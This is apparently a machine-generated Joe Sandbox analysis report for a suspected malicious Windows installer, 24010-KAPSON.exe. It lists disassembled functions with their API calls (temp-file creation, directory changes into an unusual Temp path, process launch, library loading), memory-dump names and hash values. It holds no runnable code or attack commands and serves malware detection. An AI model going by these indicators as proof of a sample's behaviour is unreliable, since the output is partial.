GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\24010-KAPSON.exe",004035D6,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822), ref: 0040609A

Strings

"C:\Users\user\Desktop\24010-KAPSON.exe", xrefs: 00406061
nsa, xrefs: 0040606E
C:\Users\user\AppData\Local\Temp\, xrefs: 00406066

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\24010-KAPSON.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-4270465876
Opcode ID: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction ID: f50322da3c8d1fbf3185d5aa4cbdefdd087cb84507cf15d2c2e6a21a41158221
Opcode Fuzzy Hash: 6315ab6e6f8253ba2c88c9b6803a176270f8621abb800126aa0f3c3b7b9ef66c
Instruction Fuzzy Hash: BBF09076741204BFEB00CF59DD05E9EB7BCEBA1710F11803AFA05F7240E6B499648768

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EBC: CharNextW.USER32(?,?,00425F50,?,00405F30,00425F50,00425F50,75923420,?,75922EE0,00405C6E,?,75923420,75922EE0,00000000), ref: 00405ECA
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405ECF
Part of subcall function 00405EBC: CharNextW.USER32(00000000), ref: 00405EE7

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405A73: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske
API String ID: 1892508949-3922531963
Opcode ID: 33eeff2101a76be14ac37d2c5c01ecf46bc3005be3bce57f35b99c002ddb6765
Instruction ID: 804c449170a8270e91f9515fbcc2e09aef6974e60d9951be020b7c668b26977e
Opcode Fuzzy Hash: 33eeff2101a76be14ac37d2c5c01ecf46bc3005be3bce57f35b99c002ddb6765
Instruction Fuzzy Hash: 1511E231504115ABCF30AFA5CD4199F36B0EF24329B28493BE956B12F1D63E4E829F5E

Function 00405518 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsWindowVisible.USER32(?), ref: 00405547
CallWindowProcW.USER32(?,?,?,?), ref: 00405598

Part of subcall function 004044DE: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044F0

Strings

, xrefs: 00405528

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction ID: 7ed895885fecbfe1028844bafe119d46ede1b6e58bfeef0b35ccd3d75cf6e938
Opcode Fuzzy Hash: e2a7228699b6e9b249c6dba5f8e9bb0c65ec33a27f8289b454cb53322165a19e
Instruction Fuzzy Hash: E60171B1200648BFDF208F11DD80A6B7726EB84755F244537FA007A1D4C77A8E529E59

Function 00405B25 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426750,Error launching installer), ref: 00405B4E
CloseHandle.KERNEL32(?), ref: 00405B5B

Strings

Error launching installer, xrefs: 00405B38

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction ID: 4727b597e06a80ccf73fde1317b74bfd1e446cf8a7cb79422ce9438d985acd26
Opcode Fuzzy Hash: ab61a979a714f7ec4effc1a78875f568a822f35fd178278bd28005db307d5d14
Instruction Fuzzy Hash: 2FE0B6B4A00209BFEB109B64ED49F7B7BBDEB04648F414465BD50F6190D778A8158A7C

Function 00407090 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction ID: a7b8be33b9a7519416cae36d16977938a601532f9034d24a777c3823dc36e66c
Opcode Fuzzy Hash: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction Fuzzy Hash: F7A14571D04229CBDB28CFA8C854BADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407291 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction ID: 5a24a20e97f266d7e3441ea32a969c72ce760fd7697c8a443cfa4f07d4855531
Opcode Fuzzy Hash: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction Fuzzy Hash: 6F911170D04229CBEF28CF98C854BADBBB1FB44305F14816ED856BB291C7786A86DF45

Function 00406FA7 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction ID: f684c89e7032feabc3e3bde7c6855c560f6d73b68505d9943badace2bdbe07f8
Opcode Fuzzy Hash: 1e62c1466b9137082a982da4164a06349666531f21fbb12f17c8ad7a1ced7a97
Instruction Fuzzy Hash: CD814771D04228CFDF24CFA8C944BADBBB1FB44305F25816AD856BB281C7786986DF05

Function 00406AAC Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction ID: 835433ef786a7bbaa66b5d31b28c9fa354c7a4a33243279710ed11147b04f42a
Opcode Fuzzy Hash: d02973cee569c5a87d0209c7eb585da92a748f7851f7d1800b7639c908389217
Instruction Fuzzy Hash: F1816871D04228CBDF24CFA8C844BAEBBB0FF44305F11816AD856BB281D7786986DF45

Function 00406EFA Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction ID: b4a429368d408adc735ccef7c69d02ca95e21b2dffe456e9be617d596e32585a
Opcode Fuzzy Hash: db5198ca4190c6b334929519d9078d0b7c25f309867be5a342d9eedfd0dff6d3
Instruction Fuzzy Hash: 44711371D04228CFDF28CFA8C954BADBBB1FB44305F15806AD856BB281D7386986DF45

Function 00407018 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
Instruction ID: ba5f555e51aa8b1381cdd2b0d2a1af6e0fef70f9c7cb40d8a5f6f768353cc961
Opcode Fuzzy Hash: afcc572d84cf9765722162092f48605f1f6e2a9c19f2086930970e637c6b8744
Instruction Fuzzy Hash: 30713371E04228CFDF28CFA8C854BADBBB1FB44305F15806AD856BB281C7786986DF45

Function 00406F64 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction ID: ed69e48f2b9f224f5de76fa38221f26f69075a156c73166e2e17eecf637d197c
Opcode Fuzzy Hash: d487e76e05c5fffd88cdf5b3ac289b2a685634872410f3bf57cf9642bd44b422
Instruction Fuzzy Hash: B1714671E04228CFDF28CF98C854BADBBB1FB44305F15806AD856B7281C7786946DF45

Function 00403411 Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403425

Part of subcall function 00403590: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 00403458
SetFilePointer.KERNELBASE(0011F7E4,00000000,00000000,00414EF0,00004000,?,00000000,0040333B,00000004,00000000,00000000,?,?,004032B5,000000FF,00000000), ref: 00403553

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction ID: 897ba5cc79bc3f0d18eddf3670deff7b1eb1d467b83339ddcdcbfe179e357187
Opcode Fuzzy Hash: 9518b2dd1af65febbd9d180445f0764cbeb29eb017de111e17892d6d002d9159
Instruction Fuzzy Hash: D3317CB2604205EBCB20DF39FE848263BA9B744395755023BE900B32F1C7B99D45DB9D

Function 004020D0 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 004020FB

Part of subcall function 004055A4: lstrlenW.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(Completed,00403040,00403040,Completed,00000000,00000000,00000000), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(Completed,Completed), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040210C
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402189

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: dfc425d0565c85ffd1b61dd7cf224c46626fe4ce8a720c57fc940b9f757dc8fa
Instruction ID: f92bc13af20f738db02ac2fc0b39f0a9d6660206439d55b7b5299bd0a9e162c8
Opcode Fuzzy Hash: dfc425d0565c85ffd1b61dd7cf224c46626fe4ce8a720c57fc940b9f757dc8fa
Instruction Fuzzy Hash: 4521C671600204EBCF10AFA5CE48A9E7B70AF44358F70413BF511B91E1C7BD8E82966E

Function 00403309 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,004032B5,000000FF,00000000,00000000,0040A230,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2091451970.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091557165.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091577088.0000000000443000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092571482.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24010-KAPSON.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction ID: fc1c1b99c1c3d1c2481461a51282f6204a9bfe71311cf5a9819f6edaa66b9ece
Opcode Fuzzy Hash: a028361fc9e97e52d64351f184ba52d3dd7daec5df95744dc32eca756b6c47e1
Instruction Fuzzy Hash: C6319F70200219EFDB11CF55ED84A9E3FA8FB00355B20443AF905EA1D1D778DE51DBA9

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2091474807.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

